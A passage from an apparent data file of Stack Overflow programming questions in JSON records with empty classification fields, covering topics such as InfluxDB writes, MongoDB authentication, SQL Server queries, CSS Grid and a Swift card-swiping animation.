InfluxDb.</p>\n\n<p>When I try to post via Node-red and an HTTP request I get the error:</p>\n\n<pre><code>{\"error\":\"unable to parse '{\\\"url\\\":\\\"http://192.168.1.116:8086/write?db=waterlevel\\\",\\\"method\\\":\\\"POST\\\",\\\"body\\\":\\\"vattenstand,lake=siljan,region=dalarna value=160.80\\\",}': missing tag value\"}\n</code></pre>\n\n<p>I use this code in a function in Node-red and pass it to the HTTP request:</p>\n\n<pre><code>var dataString = 'vattenstand,lake=siljan,region=dalarna value=160.80';\n\nmsg.payload = {\n 'url': 'http://192.168.1.116:8086/write?db=waterlevel',\n 'method': 'POST',\n 'body': dataString,\n};\n\nmsg.headers = {\n Accept: \"application/json\"\n};\n\nreturn msg;\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/qdTYB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qdTYB.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/LNupu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/LNupu.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"Visual Studio 2017 looking for DLL rather than a LIB","Body":"<p>A C/C++-Win32-project used to compile, link and run just fine using Visual Studio 2010. This project uses a 3rd party library XYZ.LIB that comes as a (statically linked) object library (not an import library). </p>\n\n<p>I transferred this project to Visual Studio 2017 and while it still compiles, it won't run anymore. Upon starting the programm, a message pops up telling that XYZ.DLL (!) is missing. I already added XYZ.LIB under Project -> Properties -> Configuration Properties -> Linker -> Additional Dependencies. I actually don't have the XYZ.DLL and VS2010 never complained about needing a DLL rather than the provided LIB.<br>\nHow can I get VS2017 to use the regular LIB rather than looking for a DLL with the same name ?</p>\n"},{"Classification":"","Title":"Caliburn.Micro can't bind rectangle fill color to ViewModel.cs","Body":"<p>In my TileView.xaml file, say I've got a single object in my parent Border container:</p>\n\n<pre><code>&lt;Canvas Width=\"5\" Height=\"5\"&gt;\n &lt;Rectangle\n Width=\"5px\"\n Height=\"5px\"\n Fill=\"{Binding MyFill}\" \n /&gt;\n&lt;/Canvas&gt;\n</code></pre>\n\n<p>and in my TileViewModel.cs I've got a property:</p>\n\n<pre><code> Brush _myFill;\n public Brush MyFill\n {\n get\n {\n return _myFill;\n }\n set\n {\n _myFill = value;\n NotifyOfPropertyChange(() =&gt; MyFill);\n }\n }\n</code></pre>\n\n<p>And then some event handler which will toggle a status color on MyFill:</p>\n\n<pre><code> public void CallbackHandler()\n { \n if (criterion) this.MyFill = Brushes.Green;\n else this.MyFill = Brushes.Red;\n }\n</code></pre>\n\n<p>I can confirm that CallbackHandler() is getting called. However, the color of the rectangle continues to remain blank.</p>\n"},{"Classification":"","Title":"Change background so text doesn't show overlapped","Body":"<p>Here's a link to my blog: <a href=\"https://jasonlodderbuildsite.blogspot.co.uk/\" rel=\"nofollow noreferrer\">https://jasonlodderbuildsite.blogspot.co.uk/</a></p>\n\n<p>I'm struggling with a background issue in my blog. I've set the background transparent for my posts as I would like my post to display the background graphic. But when I click on any post -> on the bottom of the page click on comment section and try to click on the drop down list next to the \"Comment as:\" section the background is also transparent which I would like to change so I can read the text in the list. </p>\n\n<p>Secondly when I click on any of the links on the list the pop up that gets created overlaps text as this is also a transparent background that I would like to change to a solid background so that text can be read. When I use the inspect function in Google Chrome I've managed to locate class=\"dialog\" which seems to give the desired effect when I add a background-color style in the div, but that code doesn't exist in my blogger html file. It seems to be created by some type of Javascript that I can see when i right click and view frame source?</p>\n\n<p>Any suggestions how I can fix this?</p>\n\n<p>Many thanks,\nJason</p>\n"},{"Classification":"","Title":"See if a user is admin with hasPermission and mentions","Body":"<p>I've been trying to make a Discord Bot recently and I've been stuck on this part for a while. I'm basically trying to make an Embed that sends a profile of the player that was pinged with different information like his name/ID/in which voice channel he is, etc. The thing is, I can't figure out how to make the \"isAdmin\" var I created recognized.</p>\n\n<p>With <code>console.log()</code> I narrowed my problem down to 1 part; the <code>message.mentions.members.first()</code> isn't being defined but not read and it just skips the command like it was never typed. Here's my source :</p>\n\n<pre><code>case \"profile\":\n var isAdmin = \"undefined\";\n let profileMentionned = message.mentions.members.first();\n if (!profileMentionned) return message.channel.send(\"some error message\")\n if (profileMentionned.hasPermission(\"MANAGE_MESSAGES\"))\n {\n return isAdmin = \"Admin boi\";\n }else{\n return isAdmin = \"Member pleb\";\n }\n var embed = new Discord.RichEmbed()\n Embed values....\n</code></pre>\n\n<p>Thank you for answering &lt;3 :)</p>\n"},{"Classification":"","Title":"How to ensure every command is Successful in batch script","Body":"<p>I have a batch file with 10 lines and 5 functions in a batch script. How can I ensure that all the commands in a batch file are successful. </p>\n\n<p>In other way, what's the logic to calculate return code of each command at the end of a script. </p>\n\n<pre><code>1. @ECHO OFF\n\n 2. if not exist \"%Destination%\\%NAME%\" md %Destination%\\%NAME%\n\n 3. if not exist \"%Destination%\\%NAME2%\" md %Destination%\\%NAME2%\n\n 4. rmdir %Destination%\\%NAME3%\n 5. if not exist \"%Destination%\\NAME4%\" md %Destination%\\%NAME4%\n 6. cd /d X:\\test1\n</code></pre>\n\n<p>in the above 5 lines, 4th line returns %ERRORLEVEL% 1 and 6th line returns the same. But, I could not put IF %ERRORLEVEL%==0 after every command. So, how could i script to handle this.</p>\n"},{"Classification":"","Title":"Connecting to new MongoDB on AWS","Body":"<p>I installed the mongodb community edition on a Ec2 instance on my AWS. The installation went well and I was able to run the mongo command. </p>\n\n<p>I then followed this tutorial: <a href=\"https://ianlondon.github.io/blog/mongodb-auth/\" rel=\"nofollow noreferrer\">https://ianlondon.github.io/blog/mongodb-auth/</a> </p>\n\n<p>In order to create a user and a database. I then opened the port 27017 on my aws security group for this instance. </p>\n\n<p>I keep trying to connect to my new database with the user and database and password I created however it won't let me. I am using Robo 3T to make the connection. </p>\n\n<p>I used this code to create my user: </p>\n\n<pre><code>use build_db\n\ndb.createUser({\n user: 'admin',\n pwd: 'secretpassword',\n roles: [{ role: 'readWrite', db:'build_db'}]\n});\n</code></pre>\n\n<p>When I type the show users command in terminal mongo i just get this error\n\" Error: not authorized on test to execute command { usersInfo: 1.0, $db: \"test\" } :\n\" </p>\n\n<p>Anyone know how I can get this to connect and work via Robo 3T. Thanks in Advance!</p>\n\n<p>Update: Now it seems as though I can't even connect to mongo shell. </p>\n\n<p>I get this error: </p>\n\n<pre><code>MongoDB shell version v3.6.4\nconnecting to: mongodb://127.0.0.1:27017\n2018-04-27T22:13:41.983+0000 W NETWORK [thread1] Failed to connect to 127.0.0.1:27017, in(checking socket for error after poll), reason: Connection refused\n2018-04-27T22:13:41.983+0000 E QUERY [thread1] Error: couldn't connect to server 127.0.0.1:27017, connection attempt failed :\nconnect@src/mongo/shell/mongo.js:251:13\n@(connect):1:6\nexception: connect failed\n</code></pre>\n"},{"Classification":"","Title":"When formatting my sql-insert statement from ordereddict, the data is only 1 char, not the key/value from ordereddict","Body":"<p>I am trying to insert an ordered dict into mysql and think I am missing one simple item.</p>\n\n<pre><code>sql_command = \"\"\"CREATE TABLE asdf ( id INTEGER PRIMARY KEY, description TEXT(100), data_value TEXT(100));\"\"\"\ncursor.execute(sql_command)\nfor id, p in enumerate(info):\n format_str = \"\"\"INSERT INTO asdf (id, description, data_value) VALUES ({id}, '{description}', '{data_value}');\"\"\"\n sql_command = format_str.format(id=id, description=p[0], data_value=p[1])\n print(sql_command)\n</code></pre>\n\n<p>this actually does 95% of what I want however, for some reason it is only printing the first two letters of the first 'item' so if 'info' is the data below </p>\n\n<pre><code>OrderedDict([('name', 'bob'), ('favorite food', 'pizza')])\n</code></pre>\n\n<p>it prints out the following </p>\n\n<pre><code>INSERT INTO asdf (id, description, data_value) VALUES (0, 'n', 'a');\nINSERT INTO asdf (id, description, data_value) VALUES (1, 'f', 'a');\n</code></pre>\n\n<p>but I want it to print the following</p>\n\n<pre><code>INSERT INTO asdf (id, description, data_value) VALUES (0, 'name', 'bob');\nINSERT INTO asdf (id, description, data_value) VALUES (1, 'favorite food', 'pizza');\n</code></pre>\n\n<p>thoughts?</p>\n"},{"Classification":"","Title":"First and last data labels not being displayed using chart.js","Body":"<p>I have a dataset with 3 values, all of them are getting loaded with data, but the first and last item are not being displayed.</p>\n\n<pre><code>function GenerateBar() {\n var config = {\n type: 'horizontalBar',\n data: {\n datasets: [{\n label: \"% del resultado consolidado\",\n data: [\n $('#HiddenGeneralCourseProgress').val(),\n $('#HiddenGeneralMediaSave').val(),\n $('#HiddenGeneralSaveMade').val()\n ],\n backgroundColor: [\n window.chartColors.blue,\n window.chartColors.orange,\n window.chartColors.green\n ]\n }],\n labels: [\n \"Avance curso\",\n \"Grabaciones hechas\",\n \"Calificaciones hechas\"\n ]\n },\n options: {\n maintainAspectRatio: false,\n title: {\n display: false\n },\n scales: {\n xAxes: [{\n display: true,\n ticks: {\n min: 0,\n max: 100\n },\n gridLines: {\n color: \"rgba(0, 0, 0, 0)\"\n }\n }]\n },\n plugins: {\n datalabels: {\n color: 'white',\n display: function (context) {\n return context.dataset.data[context.dataIndex] &gt; 15;\n },\n font: {\n weight: 'bold'\n }\n }\n }\n },\n responsive: true\n };\n\n var ctx = document.getElementById(\"chart-area-bar\").getContext(\"2d\");\n window.myBar = new Chart(ctx, config);\n}\n</code></pre>\n"},{"Classification":"","Title":"Proper login using RestSharp","Body":"<p>I am currently converting part of code of <code>instagram-scraper</code> (<a href=\"https://github.com/rarcega/instagram-scraper\" rel=\"nofollow noreferrer\">https://github.com/rarcega/instagram-scraper</a>) into C# for private purpose. I need to login to the session and I have difficulty while converting this part of code. </p>\n\n<p>This is part of the code in <code>instagram-scraper</code> (in python)</p>\n\n<pre><code>session = requests.Session()\nsession.headers = {'user-agent': CHROME_WIN_UA}\nsession.cookies.set('ig_pr', '1')\nsession.headers.update({'Referer': BASE_URL})\n\nreq = session.get(BASE_URL)\nsession.headers.update({'X-CSRFToken': req.cookies['csrftoken']})\nlogin_data = {'username': LOGIN_NAME, 'password': LOGIN_PWD}\nlogin = session.post(LOGIN_URL, data = login_data, allow_redirects = True)\n\nsession.headers.update({'X-CSRFToken': login.cookies['csrftoken']})\n</code></pre>\n\n<p>And I am using <code>RestSharp</code> (<a href=\"https://www.nuget.org/packages/RestSharp/\" rel=\"nofollow noreferrer\">https://www.nuget.org/packages/RestSharp/</a>) for the conversion. This is how I converted:</p>\n\n<pre><code>var client = new RestClient(BASE_URL);\nvar request = new RestRequest(BASE_URL, Method.POST);\n\nrequest.AddHeader(\"user-agent\", CHROME_WIN_UA);\n\nvar jar = new CookieContainer();\njar.Add(new Cookie(\"ig_pr\", \"1\") { Domain = new Uri(BASE_URL).Host });\n\nclient.CookieContainer = jar;\nrequest.AddHeader(\"Referer\", BASE_URL);\n\nIRestResponse baseResponse = client.Execute(request);\nforeach (var cookie in baseResponse.Cookies) {\n if (cookie.Name == \"csrftoken\") request.AddHeader(\"X-CSRFToken\", cookie.Value);\n}\n</code></pre>\n\n<p>This is the farthest I could convert, and I couldn't convert <code>login = session.post(LOGIN_URL, data = login_data, allow_redirects = True)</code>. I have no idea how to convert this code into C# code using <code>RestSharp</code>.</p>\n"},{"Classification":"","Title":"$_POST method not working although $_Get work Fine","Body":"<pre><code>&lt;?php\n// include_once '../include/user_functions.php';\n if(isset($_POST['btn'])){\n $data=$_POST['frm'];\n// user_login($data);\n var_dump($_POST['frm']);\n }\n?&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html lang=\"fa\"&gt;\n&lt;head&gt;\n &lt;meta charset=\"utf-8\"&gt;\n &lt;meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"&gt;\n &lt;meta name=\"description\" content=\"\"&gt;\n &lt;meta name=\"author\" content=\"Mosaddek\"&gt;\n &lt;meta name=\"keyword\" content=\"FlatLab, Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina\"&gt;\n &lt;link rel=\"shortcut icon\" href=\"img/favicon.html\"&gt;\n &lt;title&gt;FlatLab - Flat &amp; Responsive Bootstrap Admin Template&lt;/title&gt;\n &lt;link href=\"css/bootstrap.min.css\" rel=\"stylesheet\"&gt;\n &lt;link href=\"css/bootstrap-reset.css\" rel=\"stylesheet\"&gt;\n &lt;link href=\"assets/font-awesome/css/font-awesome.css\" rel=\"stylesheet\" /&gt;\n &lt;link href=\"css/style.css\" rel=\"stylesheet\"&gt;\n &lt;link href=\"css/style-responsive.css\" rel=\"stylesheet\" /&gt;\n&lt;/head&gt;\n\n &lt;body class=\"login-body\"&gt;\n\n &lt;div class=\"container\"&gt;\n\n &lt;form class=\"form-signin\" action=\"\" method=\"post\"&gt;\n &lt;h2 class=\"form-signin-heading\"&gt;login now&lt;/h2&gt;\n &lt;div class=\"login-wrap\"&gt;\n &lt;input type=\"text\" class=\"form-control\" placeholder=\"username\" name=\"frm[username]\"autofocus&gt;\n &lt;input type=\"password\" class=\"form-control\" name=\"frm[password]\" placeholder=\"password\"&gt;\n &lt;label class=\"checkbox\"&gt;\n &lt;input type=\"checkbox\" value=\"remember-me\"&gt;remember me\n &lt;span class=\"pull-right\"&gt; &lt;a href=\"#\"&gt; forget password?&lt;/a&gt;&lt;/span&gt;\n &lt;/label&gt;\n &lt;button class=\"btn btn-lg btn-login btn-block\" value=\"btn-button\" name=\"btn\" &gt;login&lt;/button&gt;\n\n &lt;/div&gt;\n\n &lt;/form&gt;\n\n &lt;/div&gt;\n\n\n &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n\n<ol>\n<li><p>When i change form method to get that works fine.</p></li>\n<li><p>when i use browser network tab headers form data has value\n<a href=\"https://i.stack.imgur.com/uY0Vh.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uY0Vh.jpg\" alt=\"\"></a></p></li>\n<li><p>When I change <code>if(isset($_POST['btn']))</code> to <code>vardump($_POST)</code> it return <code>array(0) { }</code> all the time.</p></li>\n<li><p>I run php on xampp</p></li>\n</ol>\n\n<blockquote>\n <p>upload_max_filesize=130M\n post_max_size=130M</p>\n</blockquote>\n\n<p>any additional information needed?</p>\n"},{"Classification":"","Title":"How to convert std::fmt::Arguments to a string?","Body":"<p>I would like to convert a <code>std::fmt::Arguments</code> to a string type. However, since the fields of <code>Arguments</code> are private, I cannot directly convert it into a string.</p>\n"},{"Classification":"","Title":"Request for helping converting odd data frame in R","Body":"<p>I have some data that I've received from a company I work with but have no idea how to approach converting it to a wide data format that I can use for analysis. The data frame is 15,800,000 rows and only 5 variables. The 4th and 5th variables, however, are the name and response to one of the (~90) variables I have to work with. To make things more complicated, the questions were asked more than once, so have multiple responses.</p>\n\n<p>Where there is more than 1 possible response, however, the responses knock over onto the next line (see below).</p>\n\n<pre><code> id date answer_instance pdl_variable_name answer_option\n1 25839 2014-02-01 4 discretspend (25228) 14\n2 25839 2014-02-05 11 legal_services (25495) [99]\n3 25839 2014-12-07 6 comppen_company (706) [97]\n4 25837 2014-12-15 2 Affluence_V2_P_2014 (34264) 8\n5 25837 2015-01-20 5 study_qualification_children (35100) [98]\n6 25837 2015-08-05 4 overall_debt (27281) [99]\n7 25837 2015-09-03 3 benefits_received (25465) [98]\n8 25834 2015-09-13 5 privpen_company (707) [96]\n9 25834 2015-11-12 3 pocket_money_frequency (27076) 10\n10 25835 2016-01-18 4 unemployment_status (21922) 6\n11 25835 2016-02-05 8 legal_services (25495) [99]\n12 25822 2016-02-11 3 assets_total_investable (26413) 3\n13 25822 2016-03-03 2 disability_benefits_received (25055) [99]\n14 25822 2018-04-01 1 insurance_held_2018 (58085) [1\n15 4] \n16 25811 2018-04-13 1 insurance_held (615) [1\n17 4 11 20] \n18 25811 2018-04-26 2 profile_work_stat (25617) 5\n</code></pre>\n\n<p>Ideally, I'd like to convert this to a long/wide format that I can use for analysis. Any ideas?</p>\n"},{"Classification":"","Title":"Why is requires transitive limited to the modules that directly require the module containing it?","Body":"<p>Let say there is module <code>x</code> that exports something.\nThen there is module <code>a</code>: </p>\n\n<pre><code>module a {\n exports some.package.from.a\n requires transitive x;\n}\n</code></pre>\n\n<p>Then there are 100 modules <code>b</code> that require <code>a</code> : </p>\n\n<pre><code>module b1 {\n exports some.package.from.b1\n requires a;\n}\n...\nmodule b100 {\n exports some.package.from.b100\n requires a;\n}\n</code></pre>\n\n<p>Then there are 100 modules <code>c</code> that require respective <code>b</code>s</p>\n\n<pre><code>module c1 {\n requires b1;\n}\n\n...\nmodule c100 {\n requires b100;\n}\n</code></pre>\n\n<p>Assume <code>c1</code> ... <code>c100</code> do not need to know about packages from <code>a</code>. Those are only used by <code>b1</code> ... <code>b100</code> internally and thus not transitively required. </p>\n\n<p>However the API exported by <code>b1</code> ... <code>b100</code> uses classes in packages exported by <code>x</code>. </p>\n\n<p>Modules <code>c1</code> ... <code>c100</code> can NOT see those. Trying to compile them, results in </p>\n\n<pre><code>Compilation failure:\n(package x.y.z is declared in module x, but module c1 does not read it)\n</code></pre>\n\n<p>Why is <code>requires transitive</code> limited to the modules that directly require the module containing it? How can the issue described above be solved without editing 100 <code>module-info</code> files? </p>\n\n<hr>\n\n<p>UPDATE:\nThere are at least 3 ways to \"fix\" this:</p>\n\n<ul>\n<li>add <code>requires transitive a</code> to <code>b1</code> ... <code>b100</code> </li>\n<li>add <code>requires transitive x</code> to <code>b1</code> ... <code>b100</code> </li>\n<li>add <code>requires x</code> to <code>c1</code> ... <code>c100</code></li>\n</ul>\n\n<p>While all would work in this particular case, it is not clear which one should be used and what the side effects of each of them are. Moreover this is only 3 level deep hierarchy - with more levels, it gets even more complex. </p>\n\n<p>If <code>requires transitive</code> was to be transitive for all dependents <em>(as the word transitive implies)</em> this would be solved automatically. If there was no <code>transitive</code> there would have been only one way to approach the issue. With <code>transitive</code> limited to the direct dependents there are \"options\" which needs to considered, but it seams not enough information is provided for one to make proper choice. </p>\n"},{"Classification":"","Title":"AQL cutting off data when querying through console","Body":"<p>Trying to query some bin for some record through AQL, however, the data is cut off.</p>\n\n<p>Any ideas how to make AQL print full data?</p>\n\n<pre><code>aql&gt; select tokens from user.users where pk='some_pk'\n+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| tokens |\n+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| MAP('{\"93836\":\"external-jfbl8squ-zWLoOuBgXD-test::1527455663\", \"39720\":\"external-jfbl8squ-UZWvWVMjtc-test::1527455663\", \"40870\":\"external-jfbl8squ-kIFcZKdimg-test::1527455663\", \"70065\":\"external-jfbl8squ-PezniJBRgE-test::1527455663\", \"36903\":\"external-jf |\n+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n1 row in set (0.000 secs)\n</code></pre>\n\n<p>As you can see, the data is not finished at the end.</p>\n"},{"Classification":"","Title":"Save .eml file from Gmail and save to Google drive folder based on Gmail tag","Body":"<p>I want to be able to tag a particular email in Gmail and then have a script run periodically to save all emails with that tag to a particular drive folder. However, I need the equivalent of a .eml file saved which I believe you can accomplish by clicking the \"show original\" button on any email.</p>\n"},{"Classification":"","Title":"SQL Server - Select Rows in Derived Table that have count > 1 of value in one column","Body":"<p>Help please. I have the following Select query and want to select only the rows where the column A.Name repeats more than 1 time:</p>\n\n<pre><code>SELECT\n A.Payer,\n A.PaymentDate,\n A.Name\nFROM \n (SELECT\n T.InstitutionRoleXrefLongName AS 'Payer',\n T.PaymentDate AS 'PaymentDate',\n T.FullName AS 'Name'\n FROM \n Transfer T\n UNION ALL\n SELECT\n T.InstitutionRoleXrefLongName AS 'Payer',\n T.PaymentDate AS 'PaymentDate',\n T.FullName AS 'Name'\n FROM \n TransferClosed T) A\nWHERE \n PaymentDate BETWEEN '20180101' AND '20180331 23:59:59'\n</code></pre>\n"},{"Classification":"","Title":"CSS Grid fixed height and variable width","Body":"<p>I'm trying to make a gallery of images using CSS Grid. I need something like this:</p>\n\n<p><img src=\"https://i.imgur.com/FTQxTAz.png\" alt=\"THIS\"></p>\n\n<p>But all can achieve is this <a href=\"https://jsfiddle.net/zgj3yj8o/3/\" rel=\"nofollow noreferrer\">JSFiddle</a>. </p>\n\n<p>Problem is, that DIVs take up all the remaining space, and I don't want that.</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"false\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>#gallery {\n background: #cfc;\n padding: 32px;\n display: grid;\n grid-auto-rows: 350px;\n grid-template-columns: repeat(auto-fit, auto);\n grid-gap: 10px;\n}\n\n.cell {\n background: #fcc;\n}\n\n.cell&gt;img {\n height: 100%;\n}</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div id=\"gallery\"&gt;\n &lt;div class=\"cell\"&gt;\n &lt;img src=\"http://via.placeholder.com/350x500\" /&gt;\n &lt;/div&gt;\n &lt;div class=\"cell\"&gt;\n &lt;img src=\"http://via.placeholder.com/250x150\" /&gt;\n &lt;/div&gt;\n &lt;div class=\"cell\"&gt;\n &lt;img src=\"http://via.placeholder.com/150x150\" /&gt;\n &lt;/div&gt;\n &lt;div class=\"cell\"&gt;\n &lt;img src=\"http://via.placeholder.com/370x150\" /&gt;\n &lt;/div&gt;\n&lt;/div&gt;</code></pre>\n</div>\n</div>\n</p>\n"},{"Classification":"","Title":"Compare many CSV files to get Ranks","Body":"<p>i have many <code>csv</code> files contain daily product sales ranked in position</p>\n\n<p><strong>Sale_2018_04_10.csv:</strong></p>\n\n<pre><code>position Products\n 1 product_a\n 2 product_b\n 3 product_c\n 4 product_d\n</code></pre>\n\n<p><strong>Sale_2018_04_11.csv:</strong></p>\n\n<pre><code>position Products\n 1 product_c\n 2 product_d\n 3 product_a\n 4 product_b\n</code></pre>\n\n<p>what i need is to show <code>Sale_2018_04_11.csv</code> file with rank change compared to last one <code>Sale_2018_04_10.csv</code>, like:</p>\n\n<pre><code>position Products Rank change\n 1 product_c +2\n 2 product_d +2\n 3 product_a -2\n 4 product_b -2\n</code></pre>\n\n<p>i can do this manually between 2 or 3 files, but i have this files daily.. in many categories.</p>\n\n<p>My question is: what is the best solution to manage these files with ranks?</p>\n\n<p><strong>Update :</strong> \n- Should i save all the files in one Database and then generate a new report daily? please help</p>\n\n<p>NB: i'm using a linux server</p>\n\n<p>Thank you!!</p>\n"},{"Classification":"","Title":"Make MS Access number field show null not 0","Body":"<p>In MS Access in a field, if I click into the field, it places a 0 there as a default. I tried setting the default value to null but that didn't work.</p>\n\n<p>The problem is that if I click in the middle of the field, the cursor is on the left of the 0 (see picture attached). Then I, or more specifically my client, has to click again or arrow over to delete that zero and type the number. Is there a way to have it just have a cursor with no value like a text field?</p>\n\n<p>Tab over and it highlights everything no problem. But when I click into an empty field, I want it to be empty, not 0, so I can type in my number without having to delete anything. Any help on this?</p>\n\n<p><a href=\"https://i.stack.imgur.com/mi17M.png\" rel=\"nofollow noreferrer\">unwanted zero</a></p>\n"},{"Classification":"","Title":"Unexpected animation glitch related to scroll to top?","Body":"<p>First of all, sorry that this is not a very generic question (it's pretty specific) but I'm knocking my head against the wall on this one and can't find anything (obviously).</p>\n\n<p>So I have built this library to swipe away a stack of cards based on a <code>UICollectionView</code>, and everything works fine, except for <strong>when I tap the status bar to \"scroll-to-top\" and then try to swipe a card away, the animation somehow does something weird</strong> I can't explain nor understand. \nAnother thing that happens is at the bottom the animation also screws up, bot I don't think that's related to this and probably has something to do with the custom <code>flowlayout</code>.</p>\n\n<p>You can find the <strong>source code</strong> on <a href=\"https://github.com/JoniVR/VerticalCardSwiper\" rel=\"nofollow noreferrer\">Github here</a></p>\n\n<p>Here's the Github issue with some more info:\n<a href=\"https://github.com/JoniVR/VerticalCardSwiper/issues/4\" rel=\"nofollow noreferrer\">https://github.com/JoniVR/VerticalCardSwiper/issues/4</a></p>\n\n<p>Any help on this would be greatly appreciated!\nHave a nice day :)</p>\n\n<p>here's a demo: </p>\n\n<p><a href=\"https://i.stack.imgur.com/cgwQI.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cgwQI.gif\" alt=\"demo\"></a></p>\n\n<p>Here are some of the most important code snippets (I think):</p>\n\n<p><em>CardCell:</em> </p>\n\n<pre><code>/// The CardCell that the user can swipe away. Based on `UICollectionViewCell`.\nclass CardCell: UICollectionViewCell {\n\n weak var delegate: CardCellSwipeDelegate?\n\n @IBOutlet weak var positionLbl: UILabel!\n\n override func layoutSubviews() {\n\n self.layer.cornerRadius = 12\n self.layer.shouldRasterize = true\n self.layer.rasterizationScale = UIScreen.main.scale\n\n // make sure anchorPoint is correct when laying out subviews.\n self.layer.anchorPoint = CGPoint(x: 0.5, y: 0.5)\n super.layoutSubviews()\n }\n\n /**\n We use this function to calculate and set a random backgroundcolor.\n */\n public func setRandomBackgroundColor(){\n\n let randomRed:CGFloat = CGFloat(arc4random()) / CGFloat(UInt32.max)\n let randomGreen:CGFloat = CGFloat(arc4random()) / CGFloat(UInt32.max)\n let randomBlue:CGFloat = CGFloat(arc4random()) / CGFloat(UInt32.max)\n\n self.backgroundColor = UIColor(red: randomRed, green: randomGreen, blue: randomBlue, alpha: 1.0)\n }\n\n /**\n This function animates the card. The animation consists of a rotation and translation.\n - parameter angle: The angle the card rotates while animating.\n - parameter horizontalTranslation: The horizontal translation the card animates in.\n */\n public func animateCard(angle: CGFloat, horizontalTranslation: CGFloat){\n\n var transform = CATransform3DIdentity\n transform = CATransform3DRotate(transform, angle, 0, 0, 1)\n transform = CATransform3DTranslate(transform, horizontalTranslation, 0, 1)\n layer.transform = transform\n }\n\n /**\n Resets the CardCell back to the center of the CollectionView.\n */\n public func resetToCenterPosition(){\n\n UIView.animate(withDuration: 0.2, animations: { [weak self] in\n self?.layer.transform = CATransform3DIdentity\n })\n }\n\n /**\n Called when the pan gesture is ended.\n Handles what happens when the user stops swiping a card.\n If a certain treshold of the screen is swiped, the `animateOffScreen` function is called,\n if the threshold is not reached, the card will be reset to the center by calling `resetToCenterPosition`.\n - parameter direction: The direction of the pan gesture.\n - parameter centerX: The center X point of the swipeAbleArea/collectionView.\n - parameter angle: The angle of the animation, depends on the direction of the swipe.\n */\n public func endedPanAnimation(withDirection direction: PanDirection, centerX: CGFloat, angle: CGFloat){\n\n let swipePercentageMargin = self.bounds.width * 0.4\n let cardCenter = self.convert(CGPoint(x: self.bounds.midX, y: self.bounds.midY), to: self.superview)\n\n if (cardCenter.x &gt; centerX + swipePercentageMargin || cardCenter.x &lt; centerX - swipePercentageMargin){\n animateOffScreen(angle: angle)\n } else {\n self.resetToCenterPosition()\n }\n }\n\n /**\n Animates to card off the screen and calls the `didSwipeAway` function from the `CardCellSwipeDelegate`.\n - parameter angle: The angle that the card will rotate in (depends on direction). Positive means the card is swiped to the right, a negative angle means the card is swiped to the left.\n */\n fileprivate func animateOffScreen(angle: CGFloat){\n\n var direction: CellSwipeDirection = .None\n\n var transform = CATransform3DIdentity\n transform = CATransform3DRotate(transform, angle, 0, 0, 1)\n\n // swipe left\n if angle &lt; 0 {\n transform = CATransform3DTranslate(transform, -(self.frame.width * 2), 0, 1)\n direction = .Left\n }\n\n // swipe right\n if angle &gt; 0 {\n transform = CATransform3DTranslate(transform, (self.frame.width * 2), 0, 1)\n direction = .Right\n }\n\n UIView.animate(withDuration: 0.2, animations: { [weak self] in\n\n self?.layer.transform = transform\n })\n delegate?.didSwipeAway(cell: self, swipeDirection: direction)\n }\n\n /**\n Prepares for reuse by resetting the anchorPoint back to the default value.\n This is necessary because in HomeVC we are manipulating the anchorPoint during dragging animation.\n */\n override func prepareForReuse() {\n super.prepareForReuse()\n // reset to default value (https://developer.apple.com/documentation/quartzcore/calayer/1410817-anchorpoint)\n self.layer.anchorPoint = CGPoint(x: 0.5, y: 0.5)\n }\n}\n</code></pre>\n\n<p><em>flowlayout:</em></p>\n\n<pre><code>/// Custom `UICollectionViewFlowLayout` that provides the flowlayout information like paging and `CardCell` movements.\nclass VerticalCardSwiperFlowLayout: UICollectionViewFlowLayout {\n\n /// This property sets the amount of scaling for the first item.\n public var firstItemTransform: CGFloat?\n /// This property enables paging per card. The default value is true.\n public var isPagingEnabled: Bool = true\n /// Stores the height of a CardCell.\n internal var cellHeight: CGFloat!\n\n override func prepare() {\n super.prepare()\n\n assert(collectionView!.numberOfSections == 1, \"Number of sections should always be 1.\")\n assert(collectionView!.isPagingEnabled == false, \"Paging on the collectionview itself should never be enabled. To enable cell paging, use the isPagingEnabled property of the VerticalCardSwiperFlowLayout instead.\")\n }\n\n override func layoutAttributesForElements(in rect: CGRect) -&gt; [UICollectionViewLayoutAttributes]? {\n let items = NSArray (array: super.layoutAttributesForElements(in: rect)!, copyItems: true)\n\n items.enumerateObjects(using: { (object, index, stop) -&gt; Void in\n let attributes = object as! UICollectionViewLayoutAttributes\n\n self.updateCellAttributes(attributes)\n })\n return items as? [UICollectionViewLayoutAttributes]\n }\n\n /**\n Updates the attributes.\n Here manipulate the zIndex of the cards here, calculate the positions and do the animations.\n - parameter attributes: The attributes we're updating.\n */\n func updateCellAttributes(_ attributes: UICollectionViewLayoutAttributes) {\n let minY = collectionView!.bounds.minY + collectionView!.contentInset.top\n let maxY = attributes.frame.origin.y\n\n let finalY = max(minY, maxY)\n var origin = attributes.frame.origin\n let deltaY = (finalY - origin.y) / attributes.frame.height\n\n if let itemTransform = firstItemTransform {\n let scale = 1 - deltaY * itemTransform\n attributes.transform = CGAffineTransform(scaleX: scale, y: scale)\n // TODO: add card stack effect (like Shazam)\n }\n origin.y = finalY\n attributes.frame = CGRect(origin: origin, size: attributes.frame.size)\n attributes.zIndex = attributes.indexPath.row\n }\n\n // We invalidate the layout when a \"bounds change\" 